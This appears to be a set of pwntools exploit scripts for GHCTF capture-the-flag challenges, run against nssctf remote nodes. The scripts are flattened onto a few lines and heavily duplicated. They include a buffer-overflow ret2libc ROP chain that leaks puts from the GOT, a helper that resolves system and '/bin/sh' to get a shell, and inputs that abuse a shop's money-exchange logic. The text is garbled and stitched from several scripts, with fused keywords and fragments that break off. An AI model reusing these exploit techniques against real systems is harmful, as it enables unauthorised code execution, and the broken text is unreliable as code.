context(log_level = 'debug', arch = 'amd64', os = 'linux') elf=ELF('/mnt/c/Users/Z2023/Desktop/Hello_world/attachment')
choice = 1#打远程时改成1 if choice: port=28748 GHCTF='node2.anna.nssctf.cn' p = remote(GHCTF,port) #打远程时修改ip和端口 else: p = process('/mnt/c/Users/Z2023/Desktop/Hello_world/attachment')
s = lambda data :p.send(data) sl = lambda data :p.sendline(data) sa = lambda x,data :p.sendafter(x, data) sla = lambda x,data :p.sendlineafter(x, data) r = lambda num=4096 :p.recv(num) rl = lambda num=4096 :p.recvline(num) ru = lambda x :p.recvuntil(x) itr = lambda :p.interactive() uu32 = lambda data :u32(data.ljust(4,b'\x00')) uu64 = lambda data :u64(data.ljust(8,b'\x00')) uru64 = lambda :uu64(ru('\x7f')[-6:]) leak = lambda name :log.success('{} = {}'.format(name, hex(eval(name)))) libc_os = lambda x :libc_base + x libc_sym = lambda x :libc_os(libc.sym[x]) defget_sb(): return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00')) defdebug(cmd=''): if choice==1: return gdb.attach(p,cmd) pause()
choice = 1#打远程时改成1 if choice: port=28182 GHCTF='node2.anna.nssctf.cn' p = remote(GHCTF,port) #打远程时修改ip和端口 else: p = process('/mnt/c/Users/Z2023/Desktop/ret2libc1/ret2libc1/attachment')
s = lambda data :p.send(data) sl = lambda data :p.sendline(data) sa = lambda x,data :p.sendafter(x, data) sla = lambda x,data :p.sendlineafter(x, data) r = lambda num=4096 :p.recv(num) rl = lambda num=4096 :p.recvline(num) ru = lambda x :p.recvuntil(x) itr = lambda :p.interactive() uu32 = lambda data :u32(data.ljust(4,b'\x00')) uu64 = lambda data :u64(data.ljust(8,b'\x00')) uru64 = lambda :uu64(ru('\x7f')[-6:]) leak = lambda name :log.success('{} = {}'.format(name, hex(eval(name)))) libc_os = lambda x :libc_base + x libc_sym = lambda x :libc_os(libc.sym[x]) defget_sb(): return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00')) defdebug(cmd=''): if choice==1: return gdb.attach(p,cmd) pause()
sla('6.check youer money\n',b'3') sl(b'500') sla('6.check youer money\n',b'7') sla('How much do you exchange?',b'500000') sla('6.check youer money\n',b'5')
puts_got=elf.got['puts'] puts_plt=elf.plt['puts'] pop_rdi=0x0000000000400d73 shop_addr=0x0000000000400B1E payload=b'a'*(0x40+8)+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(shop_addr) sla('You can name it!!!\n',payload)
context(log_level = 'debug', arch = 'amd64', os = 'linux') elf=ELF('/mnt/c/Users/Z2023/Desktop/ret/attachment')
choice = 1#打远程时改成1 if choice: port=28534 GHCTF='node2.anna.nssctf.cn' p = remote(GHCTF,port) #打远程时修改ip和端口 else: p = process('/mnt/c/Users/Z2023/Desktop/ret/attachment')
s = lambda data :p.send(data) sl = lambda data :p.sendline(data) sa = lambda x,data :p.sendafter(x, data) sla = lambda x,data :p.sendlineafter(x, data) r = lambda num=4096 :p.recv(num) rl = lambda num=4096 :p.recvline(num) ru = lambda x :p.recvuntil(x) itr = lambda :p.interactive() uu32 = lambda data :u32(data.ljust(4,b'\x00')) uu64 = lambda data :u64(data.ljust(8,b'\x00')) uru64 = lambda :uu64(ru('\x7f')[-6:]) leak = lambda name :log.success('{} = {}'.format(name, hex(eval(name)))) libc_os = lambda x :libc_base + x libc_sym = lambda x :libc_os(libc.sym[x]) defget_sb(): return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00')) defdebug(cmd=''): if choice==1: return gdb.attach(p,cmd) pause()
choice = 1#打远程时改成1 if choice: port=28929 GHCTF='node1.anna.nssctf.cn' p = remote(GHCTF,port) #打远程时修改ip和端口 else: p = process('/mnt/c/Users/Z2023/Desktop/my_vm/my_vm')
s = lambda data :p.send(data) sl = lambda data :p.sendline(data) sa = lambda x,data :p.sendafter(x, data) sla = lambda x,data :p.sendlineafter(x, data) r = lambda num=4096 :p.recv(num) rl = lambda num=4096 :p.recvline(num) ru = lambda x :p.recvuntil(x) itr = lambda :p.interactive() uu32 = lambda data :u32(data.ljust(4,b'\x00')) uu64 = lambda data :u64(data.ljust(8,b'\x00')) uru64 = lambda :uu64(ru('\x7f')[-6:]) leak = lambda name :log.success('{} = {}'.format(name, hex(eval(name)))) libc_os = lambda x :libc_base + x libc_sym = lambda x :libc_os(libc.sym[x]) defget_sb(): return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00')) defdebug(cmd=''): if choice==1: return gdb.attach(p,cmd) pause() # debug() # SP不重要,随便发什么都可以 sla('set your IP:',b'0') sla('set your SP:',str(111)) #构造了多少条指令就发多少 sla('How much code do you want to execve:',b'9')